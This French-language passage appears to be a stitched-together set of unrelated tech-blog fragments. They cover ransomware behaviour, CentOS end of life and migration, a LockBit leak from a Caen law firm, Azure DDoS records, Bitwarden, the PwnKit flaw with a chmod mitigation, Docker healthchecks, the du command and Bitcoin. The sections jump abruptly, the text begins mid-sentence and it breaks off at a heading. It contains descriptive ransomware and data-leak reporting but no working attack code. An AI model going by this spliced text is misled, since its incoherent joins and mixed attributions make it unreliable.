Il ajoutera une extension .mallox, .exploit, .architek ou .brg à tous les fichiers chiffrés et dépose également un fichier de note de rançon nommé "HOW TO RECOVER !!.TXT" dans tous les dossiers contenant des fichiers cryptés.

Cela se produit après avoir supprimé les clichés instantanés de volume, reconfiguré les options de démarrage et tué les processus qui pourraient verrouiller les bases de données d'informations sensibles (par exemple, MySQL, Oracle, SQL Server).

L'histoire derrière CentOS

CentOS Linux est une reconstruction de Red Hat Enterprise Linux (RHEL). Comme il s'agit d'un projet communautaire en aval de RHEL, toute modification apportée à une distribution RHEL est également appliquée à son homologue CentOS quelques mois plus tard.

La différence la plus notable entre les deux est le coût. Alors que CentOS est une distribution Linux à code source ouvert (open source), RHEL est une distribution Linux commerciale développée par Red Hat.

Quelle est la place de Fedora ? Fedora est un projet communautaire en amont de Red Hat. Il servait essentiellement d'environnement pour tester les mises à niveau et les modifications avant de les appliquer à RHEL.

CentOS vs CentOS Stream

CentOS Stream a été introduit en 2019 en tant que version "rolling release" de CentOS. Dans le cycle de publication précédemment mentionné, elle a trouvé sa place entre Fedora et RHEL, en testant les futures versions mineures.

Cependant, RHEL a apporté des modifications au plan initial, décidant de mettre un terme à toute future version de CentOS. CentOS 8 a été déclarée dernière version en aval et était prise en charge jusqu'en décembre 2021. Par conséquent, au lieu de sa fin de vie annoncée en 2029, son cycle de vie a été réduit de huit ans.
CentOS Linux 8 à donc atteint sa fin de vie (EOL) le 31 décembre 2021.

RHEL ne publiera pas de nouvelles distributions CentOS, mais uniquement CentOS Stream.

Naturellement, la stabilité de CentOS Stream ne peut pas rivaliser avec les versions de CentOS. Comme elle fonctionnera au milieu du cycle de publication, elle sera forcément moins stable que la distribution RHEL qu'elle précède.

Qu'est-ce que cela signifie pour les autres versions de CentOS Linux ?

Compte tenu de cette décision sans précédent, qui a été largement accueillie par de vives critiques de la part de la communauté du logiciel libre (open source), vous vous demandez peut-être ce que deviennent les versions précédentes de CentOS.

• Pour commencer, CentOS 6 a atteint l'EOL (End Of Life) le 30 novembre 2020. Donc, si vous avez des serveurs en production fonctionnant sous CentOS 6, envisagez de migrer vers CentOS 7.
  
• CentOS 7 lui continuera à recevoir des mises à jour de support et de maintenance jusqu'au 30 juin 2024.
  
• CentOS 8 continuera à recevoir des mises à jour jusqu'à la fin décembre 2021, date à laquelle les utilisateurs devront passer à CentOS Stream.

La distribution CentOS 8 Stream recevra des mises à jour pendant toute la phase de support de RHEL. Et comme mentionné précédemment, CentOS 9 ne sera pas une reconstruction de RHEL 9, mais CentOS Stream 9.

Migrer de CentOS Linux 8 vers CentOS

À moins que vous ne prévoyiez de rester sous CentOS 7, la seule façon de continuer à utiliser CentOS et de recevoir les mises à jour et ainsi de résoudre l'erreur "Failed to download metadata for repo 'appstream': Cannot prepare internal mirrorlist: No URLs in mirrorlist" est de migrer vers CentOS Stream. Cela peut être réalisé en suivant les étapes simples suivantes :

$ sudo  dnf install centos-release-stream
$ sudo  dnf swap centos-{linux,stream}-repos
$ sudo  dnf distro-sync

Cela entraînera la mise à jour de certains paquets et l'installation d'autres nouveaux paquets.

Que nous réserve l'avenir ? Une alternative RockyLinux ?

Il est vrai que la fin abrupte de CentOS était une décision mal pensée qui verra les utilisateurs de CentOS se tourner vers d'autres distributions Linux fiables qui garantissent un degré de stabilité décent, comme OpenSUSE ou Debian.

De plus, malgré les assurances constantes de Red Hat, il semble que CentOS Stream sera la plate-forme bêta des futures versions de RHEL.

Dans une tournure intéressante, Gregory M. Kurtzer, qui est le créateur original de CentOS, a exprimé sa désapprobation dans la direction que CentOS prend et travaille actuellement sur un fork de RHEL connu sous le nom de RockyLinux lancé il y a maintenant plus d'un an pour remplir le vide laissé. Il existe déjà un Github pour le projet et il sera intéressant de voir comment il évoluera dans le temps.

Qui a été vraiment ciblé ?

Selon les données analysées, la fuite provient d'un cabinet d'avocats situé dans la ville de Caen dont nous n'évoquerons pas le nom pour des raisons bien évidentes. C'est en réalité un cabinet regroupant différents avocats associés.

En revanche, nous n'avons pas établi de lien sur le fait que la fuite a été nommée "justice.fr" par le groupe LockBit puisque la cible semble bel et bien un serveur ou ordinateur du cabinet d'avocats.

Le cabinet d'avocats n'était pas au courant jusqu'à ce matin, le Barreau de Caen suite à un appel a prévenu le cabinet, qui a de suite pris ses dispositions.

Un nombre conséquent de données publiées et très confidentielles

Il y a plus de 9000 fichiers publiés contenant des données / informations HAUTEMENT confidentielles et récentes

On y retrouve toutes sortes de fichiers : word, excel, pdf, fichiers audios, messages privés, photos... comme l'attestent ces captures d'écrans.

Les types de données

Là est le problème, le cabinet d'avocat détenait évidemment de par son métier des données ultras confidentielles, elles étaient malheureusement mal protégées, le groupe LockBit a pu s'en emparer facilement.

Juridiques

Des centaines de fichiers couvrant des affaires en cours, affaires classées, conclusions de tribunaux, convocations judiciaires, des chefs d'accusation ;
Un grand nombre de dictées numériques (enregistrements vocaux de procès-verbaux) pouvant contenir des informations sur des affaires hautement confidentielles et bien plus...

Personnelles et identitaires

Des données sur les différents associés du cabinet et des clients : des photos personnelles - familiales, des contrats de travail, passeports, livret de famille, attestations CAF, RIB, crédits en cours, bulletins de salaire, impôts, carte grise, factures, en bref toute l'intimité des associés et des clients.

Données de santé

Nous allons encore ici plus loin dans l'intimité, nous pouvons trouver aussi des données de santé sur les clients du cabinet, mais aussi les associés comme des arrêts de travail, feuilles de soins, probablement des constatations effectuées par des médecins, etc.

Identifiants et mots de passe

Nous constations ici une grande négligence en terme de sécurité, nous retrouvons de mots de passe en clair dans les fichiers, mais pas que, aussi des accès à des comptes en banque, des messageries, des espaces en ligne réservés aux avocats et bien plus malheureusement !

Une négligence qui se paye chère

Outre l'importance des données dans la nature, la réputation du cabinet est en jeu, il y avait clairement un problème au niveau de la sécurité des données, n'importe qui d'autre d'expérimenté aurait pu s'en emparer sans trop d'efforts.
Malheureusement, ils ne doivent pas être les seules, il est très important à notre époque d'avoir une stratégie de sécurité très poussée, car les attaques sont de plus en plus complexes et nombreuses, les données sont une mine d'or.

En espérant que les services publics tels que CNIL et l'ANSSI vont prendre vite contact avec le cabinet afin de résoudre au plus vite cette situation.

L'une des attaques DDoS a eu lieu en novembre, ciblant un client Azure anonyme en Asie et a duré au total 15 minutes. Il a atteint un débit maximal de 3,47 Tbps et un débit de paquets de 340 millions de paquets par seconde (pps), ce qui en fait la plus grande attaque jamais signalée dans l'histoire.

"Il s'agissait d'une attaque distribuée provenant d'environ 10 000 sources et de plusieurs pays à travers le monde, dont les États-Unis, la Chine, la Corée du Sud, la Russie, la Thaïlande, l'Inde, le Vietnam, l'Iran, l'Indonésie et Taïwan", a déclaré Alethea Toh, chef de produit d'Azure Networking.

Une attaque DDoS ?

Les attaques DDoS se produisent lorsque plusieurs appareils compromis sont utilisés comme conduit pour submerger un serveur, un service ou un réseau ciblé avec un flot de trafic Internet dans le but de surcharger les systèmes et de perturber ses services réguliers.

Une attaque d'une quinzaine de minutes

En décembre, Microsoft a déclaré avoir bloqué deux autres attaques dépassant 2,5 Tbps, toutes deux visant des clients en Asie. La première des attaques était une attaque UDP de 3,25 Tbps, tandis que l'autre intrusion était une inondation UDP de 2,55 Tbps qui a duré un peu plus de cinq minutes.

Le rapport intervient plus de trois mois après que le géant de la technologie a révélé qu'il avait agi pour atténuer une attaque DDoS de 2,4 Tbps en août 2021 ciblant un client européen. Parmi les autres attaques record précédentes, citons une attaque DDoS de 2,5 Tbps absorbée par Google en septembre 2017 et une attaque volumétrique de 2,3 Tbps visant Amazon Web Services en février 2020.

De plus en plus d'attaques et plus longues

Microsoft a déclaré avoir observé une augmentation des attaques de plus d'une heure au second semestre 2021, tandis que la proportion d'attaques de courte durée de 30 minutes ou moins est passée de 74% à 57%. Cela dit, les agressions de plus longue durée sont vécues comme une séquence de multiples attaques courtes et répétées en rafale.

La société a également déclaré avoir atténué en moyenne 1 955 attaques par jour, avec un maximum de 4 296 attaques enregistrées en une seule journée le 10 août 2021. Pour l'ensemble du S2 2021, pas moins de 359 713 attaques uniques contre son infrastructure ont été bloquées, une augmentation de 43% par rapport au premier semestre 2021.

Microsoft assure toutefois que sa plateforme de protection DDoS Azure est capable d'évoluer pour absorber un volume maximal d'attaques par déni de service.

Services Protection DDoS et Atténuation | Microsoft Azure

Défendez-vous des attaques DDoS (Distributed Denial of Service) visant vos applications et votre réseau avec les services de protection et d’atténuation des risques intégrés à Azure.

Microsoft Azure

L'industrie du jeu vidéo dans le top des secteurs visés par les attaquants

L'industrie du jeu est apparue comme le secteur le plus durement touché, suivi des institutions financières, des médias, des fournisseurs de services Internet (FAI), de la vente au détail et des entités de la chaîne d'approvisionnement. La plupart des organisations ciblées étaient situées aux États-Unis, en Inde, en Asie de l'Est (Hong Kong), au Brésil, au Royaume-Uni, en Corée du Sud, au Japon, en Australie et aux Émirats arabes unis.

Le digital accélère mais les attaques aussi

"Nous avons constaté une forte augmentation des attaques en Inde, passant de seulement 2% de toutes les attaques au premier semestre 2021 à la deuxième position avec 23% de toutes les attaques au second semestre 2021", a déclaré Toh. "Un autre facteur déterminant peut être que l'accélération de la transformation numérique, par exemple l'initiative "Digital India", a accru l'exposition globale de la région aux cyber-risques."

• Il faut six mois pour détecter une violation de données.
• 43 % de toutes les cyberattaques visent les petites entreprises.
• 91% des attaques se lancent avec un e-mail de phishing.
• Une entreprise est victime d'une attaque de ransomware toutes les 14 secondes.
• 38 % des pièces jointes malveillantes sont masquées par un type de fichier Microsoft Office ou un autre.
• Les entreprises ont été confrontées en moyenne à 22 failles de sécurité en 2020.
• Le coût mondial de la cybercriminalité coûte désormais au monde entier près de 600 milliards de dollars, soit 0,8 % du PNB mondial.
  
  

Bitwarden le gestionnaire de mots de passe ultime ?

Bitwarden offre le moyen le plus simple et le plus sûr pour les équipes et les individus de stocker et de partager des données sensibles à partir de n'importe quel appareil. Ces éléments sont protégés par un seul et unique mot de passe appelé « mot de passe maître ». Il est créé en 2016 par Kyle Spearrin et il est open source sous licence AGPL.

C'est notamment une alternative à de nombreux gestionnaires de mots de passe, comme KeePass, LastPass, Dashlane, 1Password et bien plus.

Caractéristiques et avantages de la plateforme

• Partage de mot de passe sécurisé
  Partage de données chiffrées rapidement et facilement, et uniquement avec les utilisateurs ou les équipes qui ont besoin d'y accéder.
  
  
• Accessibilité multiplateforme
  Accès aux données critiques de votre coffre-fort Bitwarden depuis n'importe quel emplacement, navigateur et appareil (Google Chrome, Safari, Mozilla Firefox, Vivaldi, Opera, Brave, Microsoft Edge, Tor Browser, iOS, Android, Windows, MacOS et Linux).
  
  
• Basé sur le cloud ou auto-hébergé
  Opérationnel en quelques minutes dans le cloud ou vous pouvez auto-héberger Bitwarden pour un contrôle complet des données.
  
  
• Audit de sécurité et conformité
  Open source (disponible sur GitHub) et audité par un tiers, Bitwarden est conforme aux réglementations Privacy Shield, GDPR, CCPA.
  
  
• Rapports de santé du coffre-fort
  Accès à des rapports perspicaces pour révéler les mots de passe faibles et réutilisés et d'autres mesures de sécurité des données utiles.
  
  
• Synchronisation d'annuaire
  Un puissant connecteur d'annuaire rationalise l'intégration des utilisateurs et des groupes et les maintient synchronisés.
  
  
• Assistance permanente
  Agents Customer Success sont disponibles pour vous accompagner 24h/24.
  
  
• Journaux d'événements détaillés
  Bitwarden crée des pistes d'audit pour vous aider à suivre l'accès des utilisateurs et des groupes aux données sensibles.
  
  
• Intégrations flexibles
  Unissez vos systèmes existants avec Bitwarden à l'aide de l'intégration SSO, des services d'annuaire ou de puissantes API.
  
  

The Bitwarden Password Manager | Bitwarden

Open Source Password Management for You and Your Business

Bitwarden

Qu'en est-il du niveau de sécurité ?

Bitwarden effectue régulièrement des audits de sécurité tiers et est conforme aux normes de sécurité Privacy Shield, HIPAA, GDPR, CCPA et SOC 2.

Il dispose aussi d'un chiffrement de bout en bout et permets donc de verrouiller vos mots de passe et vos informations privées avec un cryptage AES-256 bits de bout en bout, un hachage salé et PBKDF2 SHA-256.

Vous pouvez consulter les rapports à l'adresse ci-dessous :

Bitwarden Completes Third-party Security Audit | Bitwarden Blog

Bitwarden has completed a thorough security assessment, code audit, and cryptographic analysis from experts at a third-party security firm.

Bitwarden

Être open source est l'une des principales caractéristiques de la plate-forme Bitwarden. Cela offre une transparence totale sur la solution et engage la communauté à aider à définir de nouvelles normes de sécurité plus élevées.

Facilité d'installation avec Docker

Vous l'aurez donc compris, Bitwarden est disponible via leur service SaaS, mais vous pouvez également déployer la partie serveur sur votre propre machine (serveur ou NAS) si vous souhaitez contrôler vos données personnelles de bout en bout.

Si vous souhaitez l'installer sur votre propre serveur à l'aide de Docker, la documentation suivante est recommandée :

• Installation Linux
• Installation Windows
• Installation manuel sans Docker  

Vous pouvez également retrouver toutes les configurations possibles à cette adresse :

Help Center | Bitwarden Help & Support

The Bitwarden Help Center guides you on how to use a password manager, evaluating password manager capabilities, and answering the most frequently asked questions.

Bitwarden

? ALERTE - Une fuite de données hautement confidentielles publiée - justice.fr - LockBit 2.0

Les données très confidentielles de la justice Française (justice.fr) provenant du groupe de cybercriminels (LockBit 2.0) ont été publiées, bien avant la date butoir, faute de rançon et de réponse.

INSYSINSYS

Le groupe menant régulièrement des attaques dénommé « Lockbit », qui est déjà parvenu à dérober des données de Thales, Accenture ou encore Transdev, s’en est cette fois pris au ministère de la Justice Française.

Le groupe cybercriminel annoncent avoir piraté le ministère de la Justice Française (justice.fr) et annonce un peu moins de 10 000 fichiers dérobés, sans en préciser la nature ni l'origine exacte.
Il réclame une rançon, sans celle-ci le groupe publiera les données volées d'ici deux semaines, très précisément le 10 février 2022 à 11 h 20, selon le message du groupe LockBit.

Des sources qui confirment les faits

Auprès du MagIT, le ministère de la Justice confirme que l’alerte a bien été prise en compte et que les services compétents sont actuellement en train de procéder à des vérifications.

Selon le journaliste du site Acteurs publics Emile Marzolf, des sources internes confirment qu’une attaque a bien eu lieu, mais aucune information n’a été donnée sur la portée de celle-ci.

Qu’est-ce que le ransomware LockBit ?

Le ransomware, ou rançonlogiciel en français LockBit est un logiciel malveillant conçu pour bloquer l'accès des utilisateurs aux systèmes informatiques et lever le blocage en échange d'une rançon. LockBit analyse automatiquement les ressources importantes, propage l'infection et chiffre tous les systèmes informatiques accessibles d'un réseau. Ce ransomware est utilisé pour les attaques hautement ciblées à l'encontre d'entreprises et autres organismes. Dans le cadre d'une cyberattaque, les cybercriminels utilisant LockBit se démarquent en menaçant les entreprises du monde entier de la manière suivante :

• Perturbation des opérations avec arrêt soudain des fonctions essentielles
• Extorsion de gains financiers au profit des cybercriminels
• Vol de données et publication illégale avec chantage si la victime refuse d'obtempérer

À propos de Polkit pkexec pour Linux

Polkit (anciennement PolicyKit) est un composant permettant de contrôler les privilèges à l'échelle du système dans les systèmes d'exploitation de type Unix. Il fournit un moyen organisé pour les processus non privilégiés de communiquer avec les processus privilégiés. Il est également possible d'utiliser polkit pour exécuter des commandes avec des privilèges élevés en utilisant la commande pkexec suivie de la commande destinée à être exécutée (avec la permission de root).

Impact potentiel de la vulnérabilité PwnKit

Une exploitation réussie de cette vulnérabilité permet à tout utilisateur non privilégié d'obtenir les privilèges "root" sur l'hôte vulnérable. Les chercheurs en sécurité de Qualys ont pu vérifier indépendamment la vulnérabilité, développer un exploit et obtenir les privilèges root complets sur les installations par défaut d'Ubuntu, Debian, Fedora et CentOS. D'autres distributions Linux - Unix comme par exemple Solaris, RHEL (RedHat) sont probablement vulnérables et probablement exploitables. Cependant nous savons qu'OpenBSD ne peut pas être attaqué par des exploits utilisant cette vulnérabilité.

Cette vulnérabilité se cache au grand jour depuis plus de 12 ans et affecte toutes les versions de pkexec depuis sa première version en mai 2009 (commit c8c3d83, "Add a pkexec(1) command").

Pourquoi est-elle si dangereuse ?

Il y a plusieurs raisons à cela:

• Pkexec est installé par défaut sur toutes les principales distributions Linux (Ubuntu, Debian, Fedora, CentOS, Arch Linux et d'autres distributions sont
  probablement aussi exploitables).
• Pkexec est vulnérable depuis sa création, en mai 2009 (commit c8c3d83, "Add a pkexec(1) command").
• N'importe quel utilisateur local non privilégié peut exploiter cette vulnérabilité pour obtenir des privilèges complets de root.
• Bien que cette vulnérabilité soit techniquement une corruption de mémoire, elle est exploitable instantanément, de manière fiable et indépendante de l'architecture.
• Et elle est exploitable même si le démon polkit lui-même n'est pas en cours d'exécution.

Notons également que Red Hat évalue le PwnKit comme ayant un score CVSS (Common Vulnerability Scoring System) de 7.8. Ce score est élevé.

Comment corriger / atténuer la vulnérabilité ?

Si aucun correctifs ne sont disponibles pour votre système d'exploitation et donc qu'il vous est impossible d'appliquer une mise à jour qui viendrait corriger cette vulnérabilités (ce qui est probablement le cas au moment de publication de cet article), vous pouvez supprimer le bit SUID-bit de pkexec comme mesure d'atténuation temporaire ; par exemple :

chmod 0755 /usr/bin/pkexec

Restez prudent et attentif aux traces dans les journaux de vos systèmes. En général, il s'agira d'un message du type "The value for the SHELL variable was not found in the /etc/shells file" ou "The value for environment variable […] contains suspicious content.".

Mais attention un attaquant expérimenté peut réaliser un assaut PwnKit sans laisser de traces dans les journaux.

Démonstration de Qualys

Voici une vidéo, montrant l'exploitation de la vulnérabilité:

À vos patchs !

Ce scénario peut sembler familier aux équipes d'exploitation qui travaillent avec Docker. Voici comment utiliser la fonction de vérification de l'état de santé de vos conteneurs Docker pour obtenir des données précises sur la disponibilité de vos services.

Comment fonctionne la vérification de l'état de santé

Les contrôles de santé permettent à un conteneur d'exposer la disponibilité de sa charge de travail. Il ne s'agit pas de savoir si le conteneur est en cours d'exécution. Si votre base de données tombe en panne, votre serveur API ne sera pas en mesure de traiter les demandes, même si son conteneur Docker est toujours en cours d'exécution.

Cela donne lieu à des expériences peu utiles lors du dépannage. Un simple docker ps indique que le conteneur est disponible. L'ajout d'un contrôle de santé étend la sortie de docker ps pour inclure l'état réel du conteneur.

Vous configurez les contrôles de santé des conteneurs dans votre Dockerfile. Celui-ci accepte une commande que le démon Docker exécutera toutes les 30 secondes. Docker utilise le code de sortie de la commande pour déterminer l'état de santé de votre conteneur :

0. Le conteneur est sain et fonctionne normalement.
1. Le conteneur n'est pas en bonne santé ; la charge de travail peut ne pas fonctionner.
2. Ce code d'état est réservé par Docker et ne doit pas être utilisé.

Lorsque HEALTHCHECK est présent dans un Dockerfile, vous verrez l'état de santé du conteneur dans la colonne STATUS lorsque vous exécutez docker ps.

L'état de santé n'est pas vérifié immédiatement lorsque les conteneurs sont créés. L'état sera indiqué comme démarrant avant que la première vérification ne soit exécutée. Cela donne au conteneur le temps d'exécuter les tâches de démarrage. Un conteneur dont l'état de santé a été vérifié avec succès s'affiche comme sain ; un conteneur en mauvaise santé s'affiche comme non sain.

Écrire les commandes de contrôle de santé

Les contrôles de santé des conteneurs sont configurés avec l'instruction HEALTHCHECK dans votre Dockerfile. Vous devez utiliser une commande de vérification de l'état de santé appropriée pour votre conteneur. Pour les serveurs web, curl vous offre un moyen simple d'effectuer un contrôle de base de la disponibilité. Effectuez un ping sur un point de terminaison connu qui devrait être disponible lorsque votre service est en service.

FROM nginx:latest
HEALTHCHECK CMD curl --fail http://localhost/api/healthcheck || exit 1

Dans cet exemple, le conteneur serait marqué comme étant non sain si le point de terminaison /api/healthcheck de votre serveur émettait un état d'erreur.
Vous pouvez utiliser docker inspect pour voir la sortie des commandes de contrôle de santé. Ceci est utile lorsque vous déboguez votre instruction HEALTHCHECK.

docker inspect --format='{{json .State.Health}}' my-container

Remplacez my-container par l'ID ou le nom du conteneur que vous souhaitez inspecter. Ces détails sont affichés dans la sortie docker ps.

Personnaliser les bilans de santé

Docker vous permet de personnaliser la fréquence des contrôles de santé. Vous pouvez également modifier les critères qui marquent un conteneur comme étant non sain.

Quatre options sont disponibles :

• --intervalle - Définit le temps entre les contrôles de santé. Ceci vous permet de remplacer la valeur par défaut de 30 secondes. Utilisez un intervalle plus élevé pour augmenter le temps entre les contrôles. Ceci est utile si vous avez un service de faible priorité pour lequel des contrôles de santé réguliers pourraient avoir un impact sur les performances. Utilisez une fréquence plus régulière pour les services critiques.

• --start-period - Définit la durée après le démarrage d'un conteneur pendant laquelle les contrôles de santé doivent être ignorés. La commande sera quand même exécutée mais un état non sain ne sera pas comptabilisé. Cela donne aux conteneurs le temps de terminer les procédures de démarrage.

• --retries - Cette option vous permet d'exiger plusieurs échecs successifs avant qu'un conteneur ne soit marqué comme étant en mauvaise santé. La valeur par défaut est de 3. Si un contrôle de santé échoue mais que le suivant est réussi, le conteneur ne passera pas à l'état non sain. Il deviendra malsain après trois échecs consécutifs.

• --timeout - Définit le délai d'attente pour les commandes de contrôle de santé. Docker considérera que le contrôle a échoué si la commande ne se termine pas dans ce délai.

Les options sont transmises comme des drapeaux à l'instruction HEALTHCHECK. Il faut les fournir avant la commande de contrôle de santé :

HEALTHCHECK --interval=60s --retries=5 CMD curl --fail http://localhost || exit 1

Cette configuration demande à Docker d'exécuter curl toutes les 60 secondes. Le conteneur sera marqué comme étant en mauvaise santé si cinq tests consécutifs ont un code de sortie non nul.

Format des commandes

La syntaxe de la commande HEALTHCHECK supporte soit un simple CMD, soit un tableau exec de type point d'entrée. Vous pouvez également passer NONE au lieu de CMD pour désactiver les contrôles de santé :

HEALTHCHECK NONE

Cela vous permet d'inhiber les contrôles de santé de votre image de base. Chaque instruction HEALTHCHECK remplace toutes les instructions précédentes dans les calques de votre image.

Qu'en est-il de Docker Compose ?

Docker Compose prend également en charge les définitions de contrôle de santé. Ajoutez une section healthcheck à votre service :

version: "3"
services:
  app:
    image: nginx:latest
    ports:
      - 80:80
    healthcheck:
      test: curl --fail http://localhost || exit 1
      interval: 10s
      retries: 5
      start_period: 5s
      timeout: 10s

La propriété test définit la commande à exécuter. Les autres propriétés correspondent aux paramètres acceptés par l'instruction HEALTHCHECK dans le Dockerfile.

Résumé

La définition d'une instruction HEALTHCHECK facilite le diagnostic d'un conteneur qui se comporte mal. Vous pouvez suivre l'état de préparation de votre charge de travail indépendamment de l'état d'exécution du conteneur.

Les contrôles de santé sont compatibles avec toute commande qui émet un code de sortie 0 ou 1. Vous pouvez utiliser des commandes courantes comme curl et ping pour inspecter les services Web et les bases de données. Pour un contrôle plus avancé, écrivez un script dédié et incluez-le dans vos images.

Alors que la commande Linux ls peut afficher la taille des fichiers, elle ne fonctionne pas correctement avec les répertoires, qui seront toujours affichés comme 4096 octets. Vous devrez utiliser la commande du pour faire des recherches dans les sous-répertoires et afficher le total.

Utilisation de la commande "du"

Le meilleur remplacement de ls est d'utiliser du avec quelques drapeaux :

du -had 1

Le drapeau -h signifie "human readable" (lisible par l'homme) et formatera les tailles en Ko, Mo et Go.

L'option -a signifie "all", et inclura les fichiers individuels ainsi que les répertoires, ce qui est utile pour imiter le fonctionnement de ls.

L'option -d 1 est une limite à la profondeur à laquelle du imprimera les résultats. Par défaut, il est configuré pour imprimer chaque sous-répertoire, ce qui peut être pénible si vous avez beaucoup de fichiers imbriqués. Le drapeau -d les additionnera tous et imprimera le total pour chaque répertoire visible à partir duquel vous exécutez la commande.

Si vous préférez qu'elle liste chaque répertoire, vous pouvez lancer la commande avec l'option --apparent-size, qui affichera la taille totale de chaque sous-répertoire comme si vous aviez fait "Clic droit > Propriétés" dans votre explorateur de fichiers.

Tout ceci est cependant mélangé, donc si vous souhaitez afficher les plus grands répertoires dans le dossier actuel, vous pouvez diriger la sortie vers la commande sort. Assurez-vous d'utiliser également l'option -h, sinon la commande sort traitera 128 Mo comme un nombre plus grand que 1 Go.

du -had 1 | sort -rh

Par défaut, du utilise le répertoire courant, mais vous pouvez également cibler des répertoires spécifiques. Il suffit de passer l'emplacement en tant que dernier argument.

du -had 1 ./monrepertoire/

Trouver les répertoires qui prennent le plus d'espace sur votre serveur

Une tâche courante sous Linux est le débogage de grandes quantités d'utilisation de disque. Si vous souhaitez afficher l'utilisation totale pour chaque disque, vous pouvez utiliser df -h.
Cependant, cette méthode ne permet pas d'explorer les répertoires et ne trouvera pas la source du problème.

Pour cela, vous pouvez utiliser du, mais enlevez le drapeau -d 1 pour qu'il cherche dans tous les répertoires. Ciblez-le à la racine, triez-le, et filtrez les 25 premiers répertoires pour que votre écran ne soit pas surchargé.

du -ah / | sort -rh | head -n 10

Il se peut qu'il affiche quelques erreurs pour les fichiers auxquels il ne peut pas accéder ; assurez-vous de l'exécuter avec sudo.

Bitcoin - Argent P2P libre et ouvert

Bitcoin est un réseau de paiement novateur et une nouvelle forme d’argent. Trouvez tout ce que vous devez savoir et débutez avec Bitcoin sur bitcoin.org.

Bitcoin

Quelle est l'idée derrière le Bitcoin ?

Satoshi Nakamoto voulait créer un système de trésorerie « sans confiance ».

Satoshi a explicitement déclaré que la raison de la création de ce système d'argent numérique est de supprimer les intermédiaires tiers qui sont traditionnellement requis pour effectuer des transferts monétaires numériques. Les tiers encourent des coûts importants pour la réalisation de ces services ; ces coûts sont ensuite répercutés sur les utilisateurs finaux et peuvent restreindre les transactions en deçà d'une certaine taille. Ces coûts comprennent :

• Couvrir les dépenses de back-office - l'effort nécessaire pour collecter et rapprocher les données transactionnelles ;
• Prendre les mesures de sécurité appropriées - les coûts liés au risque de failles de sécurité étant donné qu'il s'agit de référentiels centralisés de données sensibles ;
• Et la comptabilisation des activités frauduleuses - les coûts associés au remboursement de l'argent en cas de fraude, entre autres.

Bon nombre de ces coûts sont un montant fixe par transaction, quelle que soit la taille de la transaction. Cependant, étant donné que le bénéfice réalisé par transaction est en grande partie un pourcentage de la taille, le jus ne justifie pas la compression pour le traitement de transactions plus petites.

En bref, les banques, les associations de cartes (comme Visa) et d'autres grands opérateurs historiques possèdent le système de paiement électronique actuel et imposent de nombreux frais. (Visa a généré à lui seul plus de 13 milliards de dollars de revenus en 2015.) Le contournement de ces acteurs a certainement été un facteur de motivation pour la création de Bitcoin. Mais, il y a encore plus à cela. En février 2009, Satoshi a écrit ce qui suit sur un forum en ligne axé sur les pairs :

En plus de payer les frais généraux, le recours aux systèmes de paiement électroniques traditionnels a d'autres implications majeures. Ces implications nous obligent à prendre du recul et à réfléchir au fonctionnement de notre système financier au sens large et au rôle que joue notre gouvernement dans le contrôle de l'offre monétaire. Nous allons nous concentrer sur les deux abus de confiance mentionnés par Satoshi ci-dessus (dans l'ordre inverse).

1. Faire confiance aux banques

Lorsque nous laissons notre argent sur des comptes bancaires (pour qu'ils soient transférés en notre nom), ces dépôts ne sont pas réellement détenus pour nous. Au lieu de cela, les dépôts sont utilisés par les banques pour trouver des opportunités de rendement financier supplémentaire et ils ne sont légalement tenus de garder qu'un certain pourcentage de votre argent en main - environ 10 % pour les grandes banques. L'une de ces possibilités est d'offrir des produits de prêt (c.-à-d. couvrir l'hypothèque ou l'achat d'une voiture de quelqu'un d'autre) en échange du principal plus: les intérêts. L'octroi de crédit n'est pas nécessairement une mauvaise chose. Cependant, lorsque vous ajoutez plus d'acteurs, des instruments financiers plus complexes et moins de transparence, cela peut conduire à des niveaux de prêt insoutenables qui entraînent des pertes importantes lorsque les marchés se corrigent. (Par exemple, la Grande Récession de 2008.)

Crise économique mondiale de 2008 — Wikipédia

Wikimedia Foundation, Inc.Contributeurs aux projets Wikimedia

Pour expliquer, prenons l'exemple des hypothèques :

Une banque accorde un prêt hypothécaire à un emprunteur. Ils collectent des informations concernant le pointage de crédit des emprunteurs, les revenus, la valeur du prêt par rapport à la valeur de la propriété, etc.

Les informations sur les hypothèques sont ensuite transmises au marché hypothécaire secondaire afin que les hypothèques associées à un ensemble diversifié d'emprunteurs, de zones géographiques et de profils puissent être regroupées pour créer un actif investissable appelé "Titre adossé à des créances hypothécaires". Pendant la crise, cela était principalement le fait des grandes banques d'investissement.

Les agences de notation « notent » le titre de manière à ce qu'il soit certifié comme étant d'un niveau de risque spécifique, c'est-à-dire. « AAA » signifie très probablement que la dette sera remboursée. Considérez-le comme un pointage de crédit pour un produit d'investissement.

Les fonds de pension, les fonds spéculatifs et d'autres investisseurs investissent dans ces titres en fonction des notes fournies. En investissant, ils gagnent les paiements d'intérêts effectués par les emprunteurs qui sont transférés de la banque d'origine.

Les consommateurs sont directement touchés par les décisions de ces investisseurs en étant leurs clients, en contribuant à leurs fonds de pension, etc.

La banque d'investissement émettrice de ces titres souscrit une assurance pour se prémunir contre la défaillance de ces produits au cas où ils ne seraient pas en mesure de délivrer les rendements promis aux investisseurs. De plus, ce sont les mêmes géants de l'assurance qui vous offrent une assurance vie, médicale et voyage, entre autres.

Le problème avec ce processus est qu'à chaque étape, les parties sont incitées à adopter un comportement trop risqué car elles sont payées en frais pour continuer à prêter malgré la qualité du produit sous-jacent. Les banques perçoivent des frais pour l'octroi de prêts, ce qui les incite à être plus indulgents avec leurs normes de prêt. Les banques d'investissement perçoivent des frais pour la mise en commun des hypothèques et l'offre de titres adossés à des hypothèques de marque privée aux investisseurs, ce qui conduit à vendre des produits qu'ils savent ne pas pouvoir offrir. Et les agences de notation de crédit profitent du maintien de l'activité de ceux dont elles notent les produits.

Au début des années 2000, les banques d'investissement ont vendu des instruments financiers complexes basés sur des dettes dont elles savaient qu'elles ne pouvaient pas être remboursées. Et lorsque les assureurs n'ont pas pu couvrir le montant massif des défauts de paiement, le gouvernement a jeté un gilet de sauvetage aux banques d'investissement et aux agences d'assurance sous la forme de renflouements parce que ces institutions financières étaient « trop grandes pour faire faillite ».

Il s'agit d'un exemple très simplifié pour illustrer l'une des nombreuses façons dont notre système financier au sens large est intrinsèquement en proie à un problème d'aléa moral. Les institutions financières sont toutes incitées à adopter des comportements à risque car elles n'ont pas à assumer seules les coûts d'une éventuelle défaillance du système. Lorsque les choses s'effondrent, le fardeau revient finalement aux consommateurs et aux contribuables.

2. Faire confiance aux banques centrales

